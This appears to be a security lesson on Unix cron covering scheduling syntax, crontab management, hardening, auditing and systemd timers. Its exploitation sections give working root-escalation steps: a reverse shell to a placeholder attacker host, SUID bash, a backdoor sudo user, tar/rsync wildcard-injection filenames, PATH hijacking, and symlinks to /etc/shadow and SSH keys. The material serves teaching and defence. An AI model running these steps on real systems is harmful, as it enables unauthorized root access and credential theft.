Cron and Scheduled Tasks
Introduction
Cron is the time-based job scheduler in Unix-like operating systems. It enables users and administrators to schedule commands or scripts (called "cron jobs") to run automatically at specified times, dates, or intervals. While cron is a powerful system administration tool, misconfigurations can create significant security vulnerabilities leading to privilege escalation.
Understanding cron is essential for:
- System Administrators: Automating routine tasks, maintenance, and backups
- Penetration Testers: Identifying privilege escalation vectors through scheduled tasks
- Security Professionals: Hardening systems against cron-based attacks
- DevOps Engineers: Implementing automated deployment and monitoring
This lesson covers cron fundamentals, scheduling syntax, security implications, exploitation techniques, defensive best practices, and advanced use cases.
Cron Fundamentals
What is Cron?
Cron consists of two main components:
crond (Cron Daemon):
- Background service that runs continuously
- Checks cron tables (crontabs) every minute
- Executes scheduled commands at specified times
- System service:
systemctl status cronorsystemctl status crond
crontab (Cron Table):
- Configuration file containing scheduled jobs
- Separate crontab for each user
- System-wide crontab at
/etc/crontab - Directory-based cron jobs in
/etc/cron.*
Cron Hierarchy
/etc/crontab # System-wide crontab (requires user specification)
/etc/cron.d/ # System cron jobs (requires user specification)
/etc/cron.daily/ # Daily scripts
/etc/cron.hourly/ # Hourly scripts
/etc/cron.weekly/ # Weekly scripts
/etc/cron.monthly/ # Monthly scripts
/var/spool/cron/crontabs/ # User crontabs (created with 'crontab -e')
Starting and Managing Cron Service
# Check cron status (systemd)
systemctl status cron
systemctl status crond # RedHat/CentOS
# Start cron
sudo systemctl start cron
# Stop cron
sudo systemctl stop cron
# Restart cron
sudo systemctl restart cron
# Enable cron at boot
sudo systemctl enable cron
# View cron logs (Debian/Ubuntu)
grep CRON /var/log/syslog
# View cron logs (RedHat/CentOS)
grep CRON /var/log/cron
Crontab Syntax
Basic Structure
Crontab entries follow this format:
# ┌───────────── minute (0 - 59)
# │ ┌───────────── hour (0 - 23)
# │ │ ┌───────────── day of month (1 - 31)
# │ │ │ ┌───────────── month (1 - 12)
# │ │ │ │ ┌───────────── day of week (0 - 7) (Sunday = 0 or 7)
# │ │ │ │ │
# │ │ │ │ │
# * * * * * command to execute
Special Characters
*- Any value (every),- Value list separator-- Range of values/- Step values@reboot- Run once at startup@yearly- Run once a year (0 0 1 1 *)@monthly- Run once a month (0 0 1 * *)@weekly- Run once a week (0 0 * * 0)@daily- Run once a day (0 0 * * *)@hourly- Run once an hour (0 * * * *)
Example Schedules
# Run every minute
* * * * * /path/to/command
# Run every 5 minutes
*/5 * * * * /path/to/command
# Run every hour at minute 30
30 * * * * /path/to/command
# Run every day at 2:30 AM
30 2 * * * /path/to/command
# Run every Monday at 9:00 AM
0 9 * * 1 /path/to/command
# Run every 1st day of month at midnight
0 0 1 * * /path/to/command
# Run every weekday (Mon-Fri) at 6:00 PM
0 18 * * 1-5 /path/to/command
# Run every 15 minutes during business hours (9-5)
*/15 9-17 * * * /path/to/command
# Run at 10:30 PM on weekends
30 22 * * 6,7 /path/to/command
# Run at startup
@reboot /path/to/startup-script.sh
# Run daily at midnight
@daily /path/to/daily-backup.sh
# Run on the 1st and 15th of each month
0 0 1,15 * * /path/to/command
# Run every 2 hours
0 */2 * * * /path/to/command
# Run Monday through Friday at 7:30 AM and 7:30 PM
30 7,19 * * 1-5 /path/to/command
Time Calculation Examples
# Every 10 minutes
*/10 * * * *
# Runs at: 00, 10, 20, 30, 40, 50
# Hourly between 9 AM and 5 PM
0 9-17 * * *
# Runs at: 9:00, 10:00, 11:00, 12:00, 13:00, 14:00, 15:00, 16:00, 17:00
# Every 6 hours
0 */6 * * *
# Runs at: 0:00, 6:00, 12:00, 18:00
# Specific times on specific days
0 8,12,16 * * 1,3,5
# Monday, Wednesday, Friday at 8:00, 12:00, 16:00
Managing Crontabs
User Crontabs
View Current User's Crontab:
crontab -l
Edit Current User's Crontab:
crontab -e
# Opens in default editor (EDITOR environment variable)
# Set specific editor
export EDITOR=vim
crontab -e
Remove Current User's Crontab:
crontab -r
# Remove with confirmation
crontab -i -r
Install Crontab from File:
# Create crontab file
cat > my-crontab << 'EOF'
# Backup every day at 2 AM
0 2 * * * /home/user/scripts/backup.sh
# Clean temp files every hour
0 * * * * /home/user/scripts/cleanup.sh
EOF
# Install crontab
crontab my-crontab
# Verify
crontab -l
Crontab for Other Users (Root Only)
# View another user's crontab
sudo crontab -u username -l
# Edit another user's crontab
sudo crontab -u username -e
# Remove another user's crontab
sudo crontab -u username -r
System Crontabs
System-Wide Crontab (/etc/crontab):
# View system crontab
cat /etc/crontab
# Example content:
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Custom job
0 2 * * * root /usr/local/bin/backup.sh
Key Differences:
- Includes user field (6th field)
- Can set environment variables (SHELL, PATH, MAILTO)
- Edited directly with text editor (no
crontabcommand)
Directory-Based Cron Jobs:
# Scripts placed in these directories run automatically
/etc/cron.hourly/ # Every hour
/etc/cron.daily/ # Every day
/etc/cron.weekly/ # Every week
/etc/cron.monthly/ # Every month
# Add executable script
sudo cp script.sh /etc/cron.daily/
sudo chmod +x /etc/cron.daily/script.sh
# Scripts must be executable and should NOT have file extensions
# (or be configured in /etc/cron.d/ to allow extensions)
# View what's scheduled
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
Cron.d Directory
Files in /etc/cron.d/ follow system crontab format:
# Create cron job file
sudo cat > /etc/cron.d/custom-backup << 'EOF'
# Backup database every 6 hours
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
0 */6 * * * root /usr/local/bin/db-backup.sh >> /var/log/backup.log 2>&1
EOF
# Set proper permissions
sudo chmod 644 /etc/cron.d/custom-backup
Environment Variables in Cron
Cron jobs run with a minimal environment, which can cause unexpected issues.
Default Cron Environment
# View cron environment
* * * * * env > /tmp/cron-env.txt
# Default variables (minimal):
HOME=/home/username
LOGNAME=username
PATH=/usr/bin:/bin
SHELL=/bin/sh
PWD=/home/username
Setting Environment Variables
In User Crontab:
crontab -e
# Set variables at the top
SHELL=/bin/bash
PATH=/usr/local/bin:/usr/bin:/bin
HOME=/home/user
MAILTO=[email protected]
# Jobs inherit these variables
0 2 * * * /home/user/scripts/backup.sh
In Script:
#!/bin/bash
# Source environment
source /home/user/.bashrc
# Or set explicitly
export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin
export HOME=/home/user
# Continue with commands
...
Common Environment Issues
# Problem: Command not found
0 2 * * * python script.py
# Error: python: command not found
# Solution 1: Use absolute path
0 2 * * * /usr/bin/python /home/user/script.py
# Solution 2: Set PATH in crontab
PATH=/usr/local/bin:/usr/bin:/bin
0 2 * * * python /home/user/script.py
# Problem: Script can't find files
0 2 * * * ./backup.sh
# Error: ./backup.sh: No such file or directory
# Solution: Use absolute paths or set working directory
0 2 * * * cd /home/user/scripts && ./backup.sh
# Or in script
#!/bin/bash
cd "$(dirname "$0")"
# Continue with relative paths
Logging and Output
MAILTO Variable
# Send output via email (requires mail system)
MAILTO=[email protected]
0 2 * * * /path/to/script.sh
# Disable email
MAILTO=""
# Or redirect output to /dev/null
0 2 * * * /path/to/script.sh > /dev/null 2>&1
Redirecting Output
# Redirect stdout to log file
0 2 * * * /path/to/script.sh >> /var/log/script.log
# Redirect stdout and stderr
0 2 * * * /path/to/script.sh >> /var/log/script.log 2>&1
# Redirect to separate logs
0 2 * * * /path/to/script.sh >> /var/log/script.log 2>> /var/log/script-error.log
# Discard all output
0 2 * * * /path/to/script.sh > /dev/null 2>&1
# Log with timestamp
0 2 * * * /path/to/script.sh >> /var/log/script-$(date +\%Y\%m\%d).log 2>&1
Viewing Cron Logs
# Debian/Ubuntu
grep CRON /var/log/syslog
tail -f /var/log/syslog | grep CRON
# RedHat/CentOS
grep CRON /var/log/cron
tail -f /var/log/cron
# View recent cron execution
journalctl -u cron
journalctl -u cron --since "1 hour ago"
# View specific user's cron jobs
journalctl -t CRON | grep username
Security Implications
Privilege Escalation via Cron
Cron jobs often run with elevated privileges, creating potential privilege escalation vectors:
Common Vulnerabilities:
- Writable cron scripts running as root
- Wildcard injection in cron commands
- PATH hijacking with relative paths
- Writable directories in cron script paths
- World-writable files processed by cron jobs
- Symlink attacks on temporary files
Enumerating Cron Jobs
During Security Assessment:
# View system crontab
cat /etc/crontab
# List system cron directories
ls -la /etc/cron.*
ls -la /etc/cron.d/
# View user crontabs (if readable)
ls -la /var/spool/cron/crontabs/
cat /var/spool/cron/crontabs/*
# Check for writable cron scripts
find /etc/cron* -type f -perm -o+w
# Systemd timers (modern alternative to cron)
systemctl list-timers --all
Process Monitoring with pspy:
pspy monitors processes without root privileges - excellent for discovering hidden cron jobs:
# Download pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
# Run and observe
./pspy64
# Watch for commands running as UID 0 (root)
# Example output:
# 2023/10/01 14:00:01 CMD: UID=0 PID=12345 | /usr/bin/python /root/scripts/backup.py
This reveals:
- Hidden cron jobs not visible in crontabs
- Commands with full arguments (including credentials)
- Process hierarchy and parent/child relationships
Exploitation Techniques
1. Writable Cron Script
If a cron job runs a script you can modify:
Scenario:
# Cron job running as root
cat /etc/crontab
*/5 * * * * root /usr/local/bin/backup.sh
# Check if writable
ls -la /usr/local/bin/backup.sh
-rwxrwxrwx 1 root root 245 Oct 1 10:00 /usr/local/bin/backup.sh
# World-writable!
Exploitation:
# Method 1: Add reverse shell
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' >> /usr/local/bin/backup.sh
# Method 2: Add SUID bash
echo 'chmod +s /bin/bash' >> /usr/local/bin/backup.sh
# Method 3: Add backdoor user
echo 'useradd -m -p $(openssl passwd -1 password123) backdoor' >> /usr/local/bin/backup.sh
echo 'usermod -aG sudo backdoor' >> /usr/local/bin/backup.sh
# Wait for cron execution (up to 5 minutes)
watch -n 1 ls -la /bin/bash
# Use SUID bash
/bin/bash -p
whoami
# root
2. Wildcard Injection
When cron jobs use wildcards with commands like tar, rsync, chown:
Vulnerable Cron Job:
# /etc/crontab
*/10 * * * * root cd /backups && tar czf backup.tar.gz *
Tar Wildcard Exploitation:
# Navigate to target directory
cd /backups
# Create malicious script
cat > shell.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x shell.sh
# Create checkpoint files (tar interprets these as options)
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# List files
ls -la
# -rw-r--r-- 1 user user 0 Oct 1 10:00 --checkpoint=1
# -rw-r--r-- 1 user user 0 Oct 1 10:00 --checkpoint-action=exec=sh shell.sh
# -rwxr-xr-x 1 user user 34 Oct 1 10:00 shell.sh
# Wait for cron execution
# When tar runs:
# tar czf backup.tar.gz *
# Expands to:
# tar czf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2 ...
# Check for SUID bash
watch -n 1 ls -la /bin/bash
# Use SUID bash
/bin/bash -p
Rsync Wildcard Exploitation:
# Vulnerable: rsync -a * /backup/
# Create malicious files
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh
touch -- '-e sh shell.sh'
# When rsync runs:
# rsync -a * /backup/
# Becomes:
# rsync -a -e sh shell.sh file1 file2 ... /backup/
# -e flag executes shell.sh
Chown Wildcard Exploitation:
# Vulnerable: chown user:user *
# Create symlink to sensitive file
ln -s /etc/passwd pwned
ln -s /etc/shadow pwned2
# When chown runs:
# chown user:user *
# Changes ownership of /etc/passwd and /etc/shadow to user
# Now can modify these files
3. PATH Hijacking
When cron scripts use relative paths:
Vulnerable Script (/usr/local/bin/cleanup.sh):
#!/bin/bash
# Uses relative path
rm -rf /tmp/*
service nginx restart
# 'service' command used without absolute path
Exploitation:
# Create malicious 'service' command
cat > /tmp/service << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x /tmp/service
# Check script's PATH
# If script doesn't set PATH explicitly, default cron PATH is used
# /usr/bin:/bin
# Modify PATH in cron (if we control crontab)
# Or place malicious binary earlier in PATH
# Wait for execution
watch -n 1 ls -la /bin/bash
# Use SUID bash
/bin/bash -p
4. Writable Script Directory
If the directory containing the cron script is writable:
Scenario:
# Cron job
*/5 * * * * root /opt/scripts/backup.sh
# Check directory permissions
ls -ld /opt/scripts
drwxrwxrwx 2 root root 4096 Oct 1 10:00 /opt/scripts
# World-writable directory!
Exploitation:
# Replace script with malicious version
mv /opt/scripts/backup.sh /opt/scripts/backup.sh.bak
cat > /opt/scripts/backup.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x /opt/scripts/backup.sh
# Wait for cron execution
watch -n 1 ls -la /bin/bash
# Use SUID bash
/bin/bash -p
5. Symlink Attacks
Cron jobs creating temporary files:
Vulnerable Script:
#!/bin/bash
# Creates temp file with predictable name
TEMP=/tmp/backup-data.tmp
echo "Backing up..." > $TEMP
# Process data
tar czf /backups/backup.tar.gz -T $TEMP
rm $TEMP
Exploitation:
# Create symlink before cron runs
ln -s /etc/shadow /tmp/backup-data.tmp
# When cron script runs:
# echo "Backing up..." > /tmp/backup-data.tmp
# Overwrites /etc/shadow!
# Or symlink to file we want backed up
ln -s /root/.ssh/id_rsa /tmp/backup-data.tmp
# Backup file will contain root's SSH key
6. Race Conditions
Exploiting time-of-check-time-of-use (TOCTOU) vulnerabilities:
Vulnerable Script:
#!/bin/bash
FILE=/tmp/data.txt
if [ -f "$FILE" ]; then
# Check if owned by root
if [ "$(stat -c %U $FILE)" = "root" ]; then
# Process file
cat $FILE | sensitive-operation
fi
fi
Exploitation (requires precise timing):
# Create legitimate file
touch /tmp/data.txt
# Run exploitation loop
while true; do
# Replace file with symlink during race window
ln -sf /etc/shadow /tmp/data.txt
sleep 0.001
touch /tmp/data.txt
done
# If timing is right, script reads /etc/shadow
Practical Exploitation Scenarios
Scenario 1: Writable Backup Script
Environment:
- Ubuntu 20.04 server
- User:
www-data(web shell) - Goal: Escalate to root
Enumeration:
# Check system crontab
cat /etc/crontab
# */15 * * * * root /usr/local/bin/backup.sh
# Check script permissions
ls -la /usr/local/bin/backup.sh
# -rwxrwxrwx 1 root root 156 Oct 1 09:00 /usr/local/bin/backup.sh
# World-writable!
Exploitation:
# Add malicious code to script
echo 'chmod +s /bin/bash' >> /usr/local/bin/backup.sh
# Wait for cron (up to 15 minutes)
watch -n 10 ls -la /bin/bash
# Once SUID bit is set:
/bin/bash -p
whoami
# root
Scenario 2: Tar Wildcard in Backup Directory
Environment:
- CentOS 7 server
- User:
backup(limited privileges) - Cron:
*/10 * * * * root cd /var/backups && tar czf backup.tar.gz *
Exploitation:
# Navigate to backup directory
cd /var/backups
# Create exploit files
cat > shell.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# Wait for cron execution (up to 10 minutes)
watch -n 10 ls -la /tmp/rootbash
# Once created:
/tmp/rootbash -p
whoami
# root
Scenario 3: PATH Hijacking via Cron
Environment:
- Debian 11 server
- User:
webadminwith crontab access - Script:
/home/webadmin/scripts/cleanup.shuses relative commands
Enumeration:
# View user's crontab
crontab -l
# */20 * * * * /home/webadmin/scripts/cleanup.sh
# Check script
cat /home/webadmin/scripts/cleanup.sh
#!/bin/bash
cd /var/www/tmp
rm -rf *
service apache2 reload
# Uses relative 'service' command!
Exploitation:
# Create malicious 'service' command
mkdir -p /home/webadmin/bin
cat > /home/webadmin/bin/service << 'EOF'
#!/bin/bash
chmod +s /bin/bash
# Execute real service to avoid suspicion
/usr/sbin/service "$@"
EOF
chmod +x /home/webadmin/bin/service
# Modify crontab to hijack PATH
crontab -l > /tmp/crontab.bak
cat > /tmp/new-crontab << 'EOF'
PATH=/home/webadmin/bin:/usr/local/bin:/usr/bin:/bin
*/20 * * * * /home/webadmin/scripts/cleanup.sh
EOF
crontab /tmp/new-crontab
# Wait for execution
watch -n 10 ls -la /bin/bash
# Use SUID bash
/bin/bash -p
Defense and Best Practices
Secure Cron Configuration
Principle of Least Privilege:
# Run cron jobs as specific users, not root
# In /etc/crontab or /etc/cron.d/:
0 2 * * * backup /usr/local/bin/backup.sh
# Instead of:
0 2 * * * root /usr/local/bin/backup.sh
# Create dedicated service accounts
sudo useradd -r -s /bin/false backupuser
sudo chown backupuser:backupuser /usr/local/bin/backup.sh
Restrict Cron Access:
# Allow only specific users
sudo cat > /etc/cron.allow << 'EOF'
root
admin
backup
EOF
# Or deny specific users
sudo cat > /etc/cron.deny << 'EOF'
guest
testuser
EOF
# Note: cron.allow takes precedence over cron.deny
Secure File Permissions:
# Cron scripts should not be world-writable
sudo chmod 750 /usr/local/bin/cron-script.sh
sudo chown root:root /usr/local/bin/cron-script.sh
# Check for insecure permissions
find /etc/cron* -type f -perm -o+w
find /usr/local/bin -type f -perm -o+w -user root
# Fix permissions
sudo chmod 644 /etc/crontab
sudo chmod 644 /etc/cron.d/*
sudo chmod 755 /etc/cron.daily/*
sudo chmod 755 /etc/cron.hourly/*
sudo chmod 755 /etc/cron.weekly/*
sudo chmod 755 /etc/cron.monthly/*
# Crontab directories
sudo chmod 700 /var/spool/cron
sudo chmod 700 /var/spool/cron/crontabs
Secure Scripting Practices
Use Absolute Paths:
#!/bin/bash
# Bad - Relative paths
tar czf backup.tar.gz /data
service apache2 restart
# Good - Absolute paths
/bin/tar czf /backups/backup.tar.gz /data
/usr/sbin/service apache2 restart
Set Explicit PATH:
#!/bin/bash
# Set secure PATH at start of script
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH
# Continue with script
Quote Variables:
#!/bin/bash
# Bad - Unquoted variables
FILE=/path/to/file
rm $FILE
# If FILE contains spaces or wildcards, unexpected behavior
# Good - Quoted variables
FILE="/path/to/file"
rm "$FILE"
Avoid Wildcards in Dangerous Commands:
#!/bin/bash
# Bad - Wildcard injection vulnerability
cd /backups
tar czf backup.tar.gz *
# Good - Explicit file list
cd /backups
tar czf backup.tar.gz -C /backups .
# Or use find
find /backups -maxdepth 1 -type f -print0 | tar czf backup.tar.gz --null -T -
Use Safe Temporary Files:
#!/bin/bash
# Bad - Predictable temp file
TEMP=/tmp/backup.tmp
# Good - Use mktemp
TEMP=$(mktemp) || exit 1
trap "rm -f $TEMP" EXIT
# Use $TEMP safely
echo "data" > "$TEMP"
# File automatically deleted on exit
Validate Input:
#!/bin/bash
# If script accepts arguments
if [ $# -ne 1 ]; then
echo "Usage: $0 <directory>"
exit 1
fi
DIR="$1"
# Validate directory exists and is actually a directory
if [ ! -d "$DIR" ]; then
echo "Error: $DIR is not a valid directory"
exit 1
fi
# Validate no special characters
if [[ "$DIR" =~ [^a-zA-Z0-9/_-] ]]; then
echo "Error: Invalid characters in directory name"
exit 1
fi
# Continue with validated input
Monitoring and Auditing
Log Cron Execution:
# In scripts, add logging
#!/bin/bash
LOG="/var/log/my-cron-job.log"
echo "$(date) - Starting backup" >> "$LOG"
# Execute commands
/usr/local/bin/backup.sh >> "$LOG" 2>&1
echo "$(date) - Backup completed" >> "$LOG"
Enable Detailed Cron Logging:
# Edit rsyslog configuration (Debian/Ubuntu)
sudo nano /etc/rsyslog.d/50-default.conf
# Uncomment:
cron.* /var/log/cron.log
# Restart rsyslog
sudo systemctl restart rsyslog
# Now view detailed cron logs
tail -f /var/log/cron.log
Audit Cron Jobs:
# Create audit script
sudo cat > /usr/local/bin/audit-cron.sh << 'EOF'
#!/bin/bash
echo "=== System Crontab ==="
cat /etc/crontab
echo -e "\n=== /etc/cron.d/ ==="
ls -la /etc/cron.d/
cat /etc/cron.d/*
echo -e "\n=== Cron Scripts ==="
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
echo -e "\n=== User Crontabs ==="
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u $user -l 2>/dev/null && echo "User: $user"
done
echo -e "\n=== Writable Cron Files ==="
find /etc/cron* -type f -perm -o+w 2>/dev/null
echo -e "\n=== Recently Modified Cron Files ==="
find /etc/cron* -type f -mtime -7 2>/dev/null -exec ls -la {} \;
EOF
chmod +x /usr/local/bin/audit-cron.sh
# Run audit
sudo /usr/local/bin/audit-cron.sh
Use auditd for Monitoring:
# Install auditd
sudo apt install auditd
# Monitor crontab modifications
sudo auditctl -w /etc/crontab -p wa -k crontab_changes
sudo auditctl -w /etc/cron.d/ -p wa -k crontab_changes
sudo auditctl -w /var/spool/cron/ -p wa -k crontab_changes
# Monitor execution of cron scripts
sudo auditctl -w /usr/local/bin/backup.sh -p x -k cron_exec
# View audit logs
sudo ausearch -k crontab_changes
sudo ausearch -k cron_exec
Alternative: Systemd Timers
Modern Linux systems use systemd timers as an alternative to cron:
Benefits Over Cron
- More precise scheduling
- Better logging integration (journalctl)
- Dependencies between units
- Resource control (cgroups)
- Better error handling
Creating Systemd Timer
Service File (/etc/systemd/system/backup.service):
[Unit]
Description=Backup Service
Wants=backup.timer
[Service]
Type=oneshot
ExecStart=/usr/local/bin/backup.sh
[Install]
WantedBy=multi-user.target
Timer File (/etc/systemd/system/backup.timer):
[Unit]
Description=Run backup daily
Requires=backup.service
[Timer]
OnCalendar=daily
Persistent=true
[Install]
WantedBy=timers.target
Managing Timer:
# Reload systemd
sudo systemctl daemon-reload
# Enable timer
sudo systemctl enable backup.timer
# Start timer
sudo systemctl start backup.timer
# Check timer status
sudo systemctl status backup.timer
sudo systemctl list-timers
# View logs
sudo journalctl -u backup.service
Practical Examples
Automated Backup
#!/bin/bash
# /usr/local/bin/backup.sh
# Set secure environment
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH
# Configuration
BACKUP_DIR="/backups"
DATE=$(date +%Y%m%d_%H%M%S)
LOG="/var/log/backup.log"
# Create backup
echo "$(date) - Starting backup" >> "$LOG"
/bin/tar czf "$BACKUP_DIR/backup_$DATE.tar.gz" \
/var/www \
/etc \
/home \
>> "$LOG" 2>&1
if [ $? -eq 0 ]; then
echo "$(date) - Backup completed successfully" >> "$LOG"
# Delete backups older than 7 days
find "$BACKUP_DIR" -name "backup_*.tar.gz" -mtime +7 -delete
else
echo "$(date) - Backup failed!" >> "$LOG"
exit 1
fi
Crontab Entry:
# Daily backup at 2 AM
0 2 * * * /usr/local/bin/backup.sh
Database Backup
#!/bin/bash
# /usr/local/bin/db-backup.sh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH
DB_USER="backup"
DB_PASS="secure_password"
DB_NAME="production"
BACKUP_DIR="/backups/database"
DATE=$(date +%Y%m%d_%H%M%S)
# Create backup
/usr/bin/mysqldump -u "$DB_USER" -p"$DB_PASS" "$DB_NAME" | \
/bin/gzip > "$BACKUP_DIR/${DB_NAME}_$DATE.sql.gz"
# Keep only last 14 backups
cd "$BACKUP_DIR"
ls -t ${DB_NAME}_*.sql.gz | tail -n +15 | xargs rm -f
Crontab Entry:
# Every 6 hours
0 */6 * * * /usr/local/bin/db-backup.sh >> /var/log/db-backup.log 2>&1
Log Rotation
#!/bin/bash
# /usr/local/bin/rotate-logs.sh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LOG_DIR="/var/log/myapp"
# Compress yesterday's logs
find "$LOG_DIR" -name "*.log" -mtime +1 -exec gzip {} \;
# Delete logs older than 30 days
find "$LOG_DIR" -name "*.log.gz" -mtime +30 -delete
Crontab Entry:
# Daily at 1 AM
0 1 * * * /usr/local/bin/rotate-logs.sh
Summary
Cron is a powerful task scheduler that requires careful security consideration:
Key Concepts:
- Time-based job scheduler for Unix/Linux
- User and system crontabs with different privilege contexts
- Crontab syntax for flexible scheduling
- Environment variables affect execution
Security Risks:
- Writable cron scripts running with elevated privileges
- Wildcard injection in tar, rsync, chown commands
- PATH hijacking with relative command paths
- Symlink attacks on predictable temporary files
- Race conditions in file operations
Exploitation Techniques:
- Modify writable cron scripts to execute malicious code
- Use wildcard injection to pass options to commands
- Hijack PATH to execute malicious binaries
- Monitor with pspy to discover hidden cron jobs
Defense Strategies:
- Principle of least privilege (run as non-root when possible)
- Secure file permissions (no world-writable scripts)
- Use absolute paths in all scripts
- Quote all variables and avoid wildcards
- Restrict cron access with cron.allow/cron.deny
- Regular auditing and monitoring of cron jobs
- Consider systemd timers as modern alternative
Best Practices:
- Always use absolute paths in cron scripts
- Set explicit PATH at script start
- Use mktemp for temporary files
- Validate all input
- Log execution for accountability
- Test cron jobs thoroughly before deployment
Mastering cron security is essential for both maintaining secure automated systems and identifying privilege escalation vectors during security assessments.
Resources
- Cron Manual:
man cron,man crontab,man 5 crontab - Crontab Guru: https://crontab.guru/ (interactive crontab syntax helper)
- GTFOBins - Wildcards: https://gtfobins.github.io/
- pspy: https://github.com/DominicBreuker/pspy (process monitoring without root)
- HackTricks - Cron: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#cron-jobs
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#scheduled-tasks
- Systemd Timers:
man systemd.timer, https://www.freedesktop.org/software/systemd/man/systemd.timer.html - Linux Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation